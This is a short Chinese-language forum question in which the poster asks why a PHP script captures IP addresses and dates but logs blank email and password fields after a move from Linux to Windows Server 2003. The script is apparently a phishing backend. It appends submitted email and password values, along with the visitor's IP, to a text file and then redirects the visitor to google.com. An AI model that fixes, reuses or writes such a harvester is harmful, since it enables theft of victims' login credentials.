我以前在 linux 机器上使用过这个脚本,我知道它可以工作,但是当我在我的新 windows server 2003 服务器上使用它时它不起作用。过去我通过 chmodding 文件到 777 解决了这个问题,但你不能在 Windows 上这样做。
这是代码:
<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>
它为 box1 和 box2 数据输出空白,但仍将 IP 和日期记录到 .txt 文件中。请问有什么建议吗?